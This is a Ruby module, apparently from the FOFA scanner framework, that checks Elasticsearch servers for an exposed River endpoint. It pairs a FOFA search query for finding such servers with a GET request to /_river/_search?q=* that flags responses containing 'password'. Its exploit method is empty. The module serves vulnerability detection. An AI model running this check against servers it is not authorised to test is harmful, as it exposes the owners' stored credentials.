require 'fofa_core'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'ElasticSearch River导致信息泄露',
      'Description' => %q{ElasticSearch river可能导致敏感信息泄露。},
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'elasticsearch',
      'Homepage' => 'http://www.elasticsearch.org/',
      'References' =>
          [
              '-'
          ],
      'DisclosureDate'=> '2014-06-01',
      'FofaQuery'=>'(header="application/json" && body="build_hash") || body="You Know, for Search"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/_river/_search?q=*',
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: 'password'
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
  end
end